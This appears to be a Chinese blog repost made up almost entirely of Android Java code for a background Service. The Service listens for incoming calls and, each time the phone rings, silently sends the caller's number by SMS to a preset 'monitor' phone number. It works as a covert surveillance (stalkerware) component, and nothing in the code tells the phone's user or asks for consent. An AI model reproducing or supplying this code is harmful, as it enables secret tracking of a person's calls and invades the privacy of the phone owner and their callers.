读取来电号码 并发给另一手机

来源:互联网 发布:中山门淘宝街怎么样 编辑:程序博客网 时间:2024/05/29 08:39
package com.example.administrator.findyou;import android.app.Service;import android.content.Context;import android.content.Intent;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.SmsManager;import android.telephony.TelephonyManager;public class MyService extends Service {    //电话在线监听    private PhoneStateListener psl;    //电话管理器    private TelephonyManager telephonyManager;    public void onCreate() {        if (MyConstants.isIncoming) {//判断是否监听            telephonyManager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);            psl = new PhoneStateListener() {                @Override                public void onCallStateChanged(int state, String incomingNumber) {                    super.onCallStateChanged(state, incomingNumber);                    //当电话铃响的时候  state==TelephonyManager.CALL_STATE_RINGING                    if (state == TelephonyManager.CALL_STATE_RINGING) {                        String msg = incomingNumber + " call he";                        //短信管理器                        SmsManager sms = SmsManager.getDefault();                        //发送短信给监控者                        sms.sendTextMessage(MyConstants.ListerPhoneNum, null, msg, null, null);                    }                }            };        }    }    public  int onStartCommand(Intent intent,int flags,int startId){        if (MyConstants.isIncoming){        telephonyManager.listen(psl,PhoneStateListener.LISTEN_CALL_STATE);        }        return super.onStartCommand(intent, flags, startId);    }    public void onDestroy(){     if(MyConstants.isIncoming){         telephonyManager.listen(psl,PhoneStateListener.LISTEN_NONE);     }        super.onDestroy();    }    @Override    public IBinder onBind(Intent intent) {        // TODO Auto-generated method stub        return null;    }}

0 0
原创粉丝点击